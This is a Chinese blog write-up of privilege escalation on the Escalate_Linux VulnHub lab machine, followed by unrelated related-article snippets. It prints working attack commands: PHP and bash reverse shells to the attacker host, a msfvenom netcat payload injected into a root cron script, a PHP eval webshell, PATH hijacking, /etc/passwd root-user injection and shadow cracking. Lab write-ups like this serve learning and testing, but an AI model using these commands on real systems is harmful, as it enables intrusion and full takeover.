Escalate_Linux靶机提权学习

news/2025/1/22 21:52:21/文章来源:https://www.cnblogs.com/hackzz/p/18446332

靶机下载

https://www.vulnhub.com/entry/escalate_linux-1,323/
用VMware打开

扫描端口

nmap -sS -sV -n -T4 -p- 192.168.93.134
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-04 09:26 CST
Nmap scan report for 192.168.93.134
Host is up (0.00090s latency).
Not shown: 65526 closed tcp ports (reset)
PORT      STATE SERVICE     VERSION
80/tcp    open  http        Apache httpd 2.4.29 ((Ubuntu))
111/tcp   open  rpcbind     2-4 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
2049/tcp  open  nfs         3-4 (RPC #100003)
35413/tcp open  nlockmgr    1-4 (RPC #100021)
42427/tcp open  mountd      1-3 (RPC #100005)
53835/tcp open  mountd      1-3 (RPC #100005)
60579/tcp open  mountd      1-3 (RPC #100005)
MAC Address: 00:0C:29:99:67:DA (VMware)
Service Info: Host: LINUXService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.16 seconds

访问ip,是apache Ubuntu的初始界面

img

扫描目录
dirsearch -u 靶机地址
扫描结果显示只有一个子页面/shell.php是可以访问的,访问看看,进去有个提示说get传参,参数是cmd
传入cmd=ls,返回了当前目录的文件

img

echo "<?php eval($_POST[1]);?>">1.php尝试写木马失败
尝试反弹shell,参考https://blog.csdn.net/qq_52173020/article/details/125011441

bash -i >& /dev/tcp/192.168.93.128/6666 0>&1//没用
php -r '$sock=fsockopen("192.168.93.128",6666);exec("/bin/sh -i <&3 >&3 2>&3");'//成功,但是要url编码后再传

img

1.suid提权

SUID是Linux中的一中特殊权限,SUID可以让二进制程序的调用者以文件拥有者的身份运行该文件。如果对于一些特殊命令设置了SUID,那么就会有被提权的风险。而这个SUID提权的关键就是,找到root用户所拥有的SUID的文件&命令,运行该文件或者调用命令时,暂时拥有root权限,以root身份来执行。

首先python命令执行python -c 'import pty; pty.spawn("/bin/bash")'把得到的shell提升为交互式的shell

查找下能执行SUID特权的命令find / -perm -u=s -type f 2>/dev/null

返回

/sbin/mount.nfs
/sbin/mount.ecryptfs_private
/sbin/mount.cifs
/usr/sbin/pppd
/usr/bin/gpasswd
/usr/bin/pkexec
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/traceroute6.iputils
/usr/bin/chfn
/usr/bin/arping
/usr/bin/newgrp
/usr/bin/sudo
/usr/lib/xorg/Xorg.wrap
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/bin/ping
/bin/su
/bin/ntfs-3g
/bin/mount
/bin/umount
/bin/fusermount
/home/user5/script
/home/user3/shell

user3下面有个shell命令文件,cd /home/user3;cat shell,返回一堆乱码,该文件是二进制文件,执行./shell,直接获得了root权限

img

2.环境变量劫持提权:

网上很多文章,随便贴一篇https://blog.csdn.net/nicai321/article/details/122275160#:~:text=%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F%E5%8A%AB%E6%8C%81%E6%8F%90%E6%9D%83%EF%BC%9A%E6%9C%AC

刚刚发现一个/home/user5/script,进去看看

img

执行发现怎么和ls一样???这里说一个查看文件所有者的命令ls -l

img

文件类型和权限(-rwsr-xr-x)
第一个字符:- 表示这是一个普通文件。
接下来的9个字符 分为三组,每组3个字符,分别代表所有者、所属组和其他用户的权限。
第一组 (rws):表示文件所有者的权限:
r:读权限。
w:写权限。
s:这是setuid 权限,表示当任何用户执行该文件时,将以文件拥有者(在此例中是 root)的身份执行。通常,x 表示执行权限,但 s 替换了 x,意味着该文件不但可以执行,而且还带有 setuid 权限。
第二组 (r-x):表示所属组的权限:
r:读权限。
-:没有写权限。
x:执行权限。
第三组 (r-x):表示其他用户的权限:
r:读权限。
-:没有写权限。
x:执行权限。其他字段解释:
链接数:1
该字段表示文件的硬链接数量。
所有者:root
该字段表示文件的拥有者是 root 用户。
所属组:root
文件的所属组也是 root。
文件大小:8392
文件的大小是 8392 字节。
最后修改时间:Jun 4 2019
文件的最后修改时间是 2019 年 6 月 4 日。
文件名:script
文件的名称是 script。

因此我们得知script是以root身份执行ls命令
可用十六进制查看文件内容进一步验证xxd /home/user5/script | grep ls -A 5 -B 5

img

好吧我只看到文件里面出现了ls,其他看不懂了。开始提权

cd /tmp
echo "/bin/bash" >ls #创建和以root执行的文件的同名文件
chmod 777 ls #赋予可执行权限
echo $PATH #查看环境变量
export PATH=/tmp:$PATH #/tmp目录添加到环境变量最前面
echo $PATH #查看是否添加成功
cd /home/user5
./script #此时系统会查找ls命令的位置,而你以及把/tmp添加到环境变量最前面,所以最先找到的ls是执行/bin/bash的ls文件,而不是真ls,这样就以root身份打开一个新的 Bash shell

img

3.crontab提权

定时任务(cron job)被用于安排那些需要被周期性执行的命令。利用它,你可以配置某些命令或者脚本,让它们在某个设定的时间内周期性地运行。cron 是 Linux 或者类 Unix 系统中最为实用的工具之一。cron 服务(守护进程)在系统后台运行,并且会持续地检查 /etc/crontab 文件和 /etc/cron.*/ 目录。它同样也会检查 /var/spool/cron/ 目录。

这个方法得先用之前方法提到root权限后,修改user4的密码再操作,改完切换到user4

img

通过翻看文件发现user4的桌面有个autoscript.sh,查看内容如下

touch /home/user4/abc.txt
echo "I will automate the process"
bash -i

现在利用msfvenom生成payload

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.93.128 lport=8888 R#生成了mkfifo /tmp/cdinf; nc 192.168.93.128 8888 0</tmp/cdinf | /bin/sh >/tmp/cdinf 2>&1; rm /tmp/cdinf
工具介绍
https://blog.csdn.net/qq_48985780/article/details/121441548#:~:text=Msfvenom%E4%BB%8B%E7%BB%8D#:~:text=Msfvenom%E4%BB%8B%E7%BB%8D

我们将autoscript.sh的内容替换成反弹shell脚本

echo "mkfifo /tmp/cdinf; nc 192.168.93.128 8888 0</tmp/cdinf | /bin/sh >/tmp/cdinf 2>&1; rm /tmp/cdinf" >autoscript.sh

img

在kali终端中开启监听,等待不到5分钟,等待autoscript.sh脚本自动加载,即可反弹回shell,查看权限为root

img

为什么这样可以提,我们查看/etc/crontab

img

发现autoscript脚本周期性执行,而且是以root身份。*/5表示每 5 分钟执行一次 第二个*表示每一小时都执行,第三个星号意味着每天都执行,第四个星号意味着每个月都执行,第五个星号意味着一周的每一天都执行。(可参考https://www.freebuf.com/articles/system/175453.html)

4.vi写入提权

这波要用之前提到的root先把user8的密码改了以便利用user8提权。
发现user8对vi编辑器具有sudo权限

img

sudo vi-->输入:!sh-->回车-->提权成功,可以反弹一个root身份的shell到kali上面,这里就不搞了

img

5.openssl提权

用LinEnum.sh枚举发现user7是gid为0的成员,我看LinEnum枚举结果太长了懒得找了,就直接用其他大佬的结果了。
先把user7的密码改了,切换到user7

从LinEnum扫描中知道/etc/passwd文件对于用户user7是可写的:user7可以编辑/etc/passwd文件。于是创建一个具有root特权的名为yrsb的新用户,并使用openssl为该用户生成了密码,然后把该用户写进/etc/passwd

openssl passwd -1 -salt yrsb 123echo 'yrsb:$1$yrsb$MQi5SWheZ5DIrG/FsiUDC.:0:0:root:/root:/bin/bash' >> /etc/passwd

img

6.NFS挂载提权

方法介绍https://cloud.tencent.com/developer/article/1708369

LinEnum枚举发现user5的目录是共享的

img

mount -t nfs 192.168.93.134:/home/user5 /home/user5 #挂载共享目录到攻击机
cp /bin/sh cnm
chown root:root cnm
chmod 4755 cnm

结果报错

./cnm: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.33' not found (required by ./cnm)
./cnm: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./cnm)

我嘞个glibc版本过低,这要是真实挖洞的时候拿到一个shell,结果因为这个提权不了就裂开了,但是这个靶机可以用之前的方法拿root然后更新glibc
apt update
pt upgrade libc6
,更新完又变成普通shell了,又要再开交互式shell在提权(捏麻麻的)。

结果靶机系统版本太低,不能更新到那个版本,我cao

img

算了这个方法先知道就得了,以后有机会再用

7.mysql提权

默认密码登录MySQL成功

img

show databases;
use user;
show tables;
select * from user_info;

img

切换至mysql用户

img
img

发现文件.user_informations

chmod 600 .user_informations
cat .user_informations
得到,其中一些用户的密码已经被我之前提权的时候改过
user2:user2@12345
user3:user3@12345
user4:user4@12345
user5:user5@12345
user6:user6@12345
user7:user7@12345//改过
user8:user8@12345//改过

继续找信息,在/etc/mysql/secret.cnf发现root用户密码
UserName:root
PassWord:root@12345
但是这个拿来登录发现是认证失败。。。

8.运行超户身份提权

由上面密码切换user2

sudo -l[sudo] password for user2: user2@12345Matching Defaults entries for user2 on osboxes:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser user2 may run the following commands on osboxes:(user1) ALL

发现user2可以以user1的身份运行命令,也就是可以切换到user1
sudo -u user1 bash
sudo su

img

9.uid提权

现在切换user4
cat /etc/group,发现root❌0:user4,user7,表示user4和user7可以修改/etc/passwd文件,所以提权的方式跟方法五是一样的,直接添加uid为0的用户即可提权

10.shell提权

切回user6
user3主目录下发现.script.sh文件

ls -al
total 160
drwxr-xr-x 22 user3 user3 4096 Jun  4  2019 .
drwxr-xr-x 10 root  root  4096 Jun  5  2019 ..
-rw-r--r--  1 user3 user3  124 Jun  4  2019 .asoundrc
-rw-r--r--  1 user3 user3   95 Jun  4  2019 .bash_history
-rw-r--r--  1 user3 user3  220 Jun  4  2019 .bash_logout
-rw-r--r--  1 user3 user3  949 Jun  4  2019 .bashrc
drwxr-xr-x 15 user3 user3 4096 Jun  4  2019 .cache
drwxr-xr-x 20 user3 user3 4096 Jun  4  2019 .config
drwxr-xr-x  3 user3 user3 4096 Jun  4  2019 .dbus
drwxr-xr-x  2 user3 user3 4096 Jun  4  2019 Desktop
-rw-r--r--  1 user3 user3   23 Jun  4  2019 .dmrc
drwxr-xr-x  2 user3 user3 4096 Jun  4  2019 Documents
drwxr-xr-x  2 user3 user3 4096 Jun  4  2019 Downloads
-rw-r--r--  1 user3 user3 9354 Jun  4  2019 .face
drwxr-xr-x  2 user3 user3 4096 Jun  4  2019 .gconf
drwxr-xr-x 24 user3 user3 4096 Jun  4  2019 .gimp-2.8
-rw-r--r--  1 user3 user3    0 Jun  4  2019 .gksu.lock
drwxr-xr-x  3 user3 user3 4096 Jun  4  2019 .gnome
drwxr-xr-x  3 user3 user3 4096 Jun  4  2019 .gnome2
drwxr-xr-x  3 user3 user3 4096 Jun  4  2019 .gnupg
-rw-r--r--  1 user3 user3   20 Jun  4  2019 .gtk-bookmarks
-rw-r--r--  1 user3 user3  105 Jun  4  2019 .gtkrc-2.0
-rw-------  1 user3 user3 4710 Jun  4  2019 .ICEauthority
drwxr-xr-x  3 user3 user3 4096 Jun  4  2019 .local
drwxr-xr-x  5 user3 user3 4096 Jun  4  2019 .mozilla
drwxr-xr-x  2 user3 user3 4096 Jun  4  2019 Music
drwxr-xr-x  2 user3 user3 4096 Jun  4  2019 Pictures
-rw-r--r--  1 user3 user3  873 Jun  4  2019 .profile
drwxr-xr-x  2 user3 user3 4096 Jun  4  2019 Public
-rwxr-xrwx  1 root  root    33 Jun  4  2019 .script.sh
-rwsr-xr-x  1 root  root  8392 Jun  4  2019 shell
-rw-r--r--  1 user3 user3    0 Jun  4  2019 .sudo_as_admin_successful
drwxr-xr-x  2 user3 user3 4096 Jun  4  2019 Templates
drwxr-xr-x  3 user3 user3 4096 Jun  4  2019 .thumbnails
drwxr-xr-x  4 user3 user3 4096 Jun  4  2019 .thunderbird
drwxr-xr-x  2 user3 user3 4096 Jun  4  2019 Videos
-rw-r--r--  1 user3 user3   50 Jun  4  2019 .Xauthority

strings shell,发现其调用了.script.sh,把.script.sh内容变成/bin/bash即可(为什么觉得有点多余)

img

11.爆破root密码

以root身份cat /etc/shadow
john爆破出来就是12345。这个不算提权吧,都已经是root了

12.sudo -i提权

切换user1
sudo -l
sudo -i

img

内核漏洞

靶机内核是4.15.0-45-generic,上网找找不到相关漏洞。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/823291.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

使用Ubuntu系统管理包工具(apt)部署Zabbix企业级监控系统

1. 系统版本Ubuntu VERSION=22.04.4 LTS2. zabbix安装 2.1 zabbix官方 https://www.zabbix.com/cn/download?zabbix=7.0&os_distribution=ubuntu&os_version=22.04&components=server_frontend_agent&db=mysql&ws=apache 2.2 配置选择2.3 使用Ubuntu的管…

使用node的npm安装包遇到的问题

1最开始安装出现的问题是执行后卡顿出来以下网络相关的错误2搜索后执行命令切换到淘宝镜像后在执行,但是第一我仔细看报错信息,就又切换官网镜像了,又报了1的错误,然后又切回淘宝镜像分析错误信息。发现是安装node的目录用户没有写的权限 3.修改node安装目录文件权限后,在设…

3D在UI上的应用

一、传统管理系统登录页的局限性 在过去,传统的管理系统登录页通常采用平面设计,以简洁的布局和清晰的文字为主。虽然这种设计能够满足基本的功能需求,但也存在一些局限性。首先,平面设计缺乏立体感和深度感,容易给人单调、乏味的感觉。用户在面对这样的登录页时,往往缺乏…

【BUUCTF】Youngter-drive

Youngter-drive UPX脱壳 分析这是一道多线程题,先来分析这个main函数::hObject = CreateMutexW(0, 0, 0); : 创建一个互斥锁,使两个双线程能够使用共享资源hObject = CreateThread(0, 0, StartAddress, 0, 0, 0); Thread = CreateThread(0, 0, sub_41119F, 0, 0, 0); :创…

34. 过滤条件、多表查询、子查询

1. 过滤条件 1.1 过滤条件之having [1]概念 HAVING 子句用于对分组后的结果进行过滤。它通常与 GROUP BY 子句一起使用,在 SELECT 语句的聚合函数(如 SUM(), AVG(), COUNT(), MAX(), MIN() 等)之后应用条件。 HAVING 子句与 WHERE 子句类似,但 HAVING 适用于分组后的数据,…

Debian12 搭建LNMP环境,配置SSL证书,安装WordPress

一、安装并配置PHP SSH连接上VPS之后,我们先更新一下系统组件,使用下面的命令。 apt update -y && apt upgrade -y接着输入下面的命令安装PHP和相关组件 apt install php-fpm php-mysql php-gd php-cli php-curl php-mbstring php-zip php-opcache php-xml php-mysql…

实验2 类与对象

实验任务一 t.h1 // 类T: 声明2 class T {3 // 对象属性、方法4 public:5 T(int x = 0, int y = 0); // 普通构造函数6 T(const T &t); // 复制构造函数7 T(T &&t); // 移动构造函数8 ~T(); // 析构函数9 10 void adjust(…

qt标题,解决title的png图片scaled后显示有明显锯齿

优化qt下自定义TitleBar的左上角ICO的显示效果一、通用方法(使用Qlabel) // 添加窗口图标 iconLabel = new QLabel(this); QPixmap iconPixmap(":/ico.png"); // 替换成你的图标文件路径 iconLabel->setPixmap(iconPixmap.scaled(125, 35, Qt::KeepAspectRatio,…

周蕊-第二次作业

这个作业属于哪个课程 https://edu.cnblogs.com/campus/zjlg/rjjc这个作业的目标 设计一个命令行文本计数统计程序姓名-学号 周蕊-2022329301039我的码云地址: https://gitee.com/little-bear-huilai/the-second-homework.git 1. 项目简介及函数介绍 1.1. 项目简介本项目旨在…

Angular 19 要 来了⚡

前言 Angular 19 预计会在 11 月中旬发布,目前 (2024-10-27) 最新版本是 v19.0.0-next.11。 这次 v19 的改动可不小哦,新增了很多功能,甚至连 effect 都 breaking changes 了呢🙄 估计这回 Angular 团队又会一如既往的大吹特吹了...好期待哦🙄 虽说有新功能,但大家也不…

C语言和其他高级语言的最大区别是什么

C语言和其他高级语言的最大区别是:一、编程范式不同;二、语言复杂度不同;三、内存管理和指针操作不同;四、性能和可移植性不同。编程范式不同在于,C语言是一种过程式编程语言,侧重于问题解决的步骤和顺序,而其他高级语言则采用更高层次的编程范式。一、编程范式不同 C语…

Mybatis01

Mybatis01 简介 Mybatis实现了对jdbc的封装使得对于数据库的连接变得利于维护,需要在xml文件中进行资源配置开发,然后再mapper文件中进行代理开发,最后实现接口可以通过对Maaper 的函数调用实现对于数据库的增删改查. 环境配置 搭建web骨架在maven,的pom.xml中导入坐标,同时导入…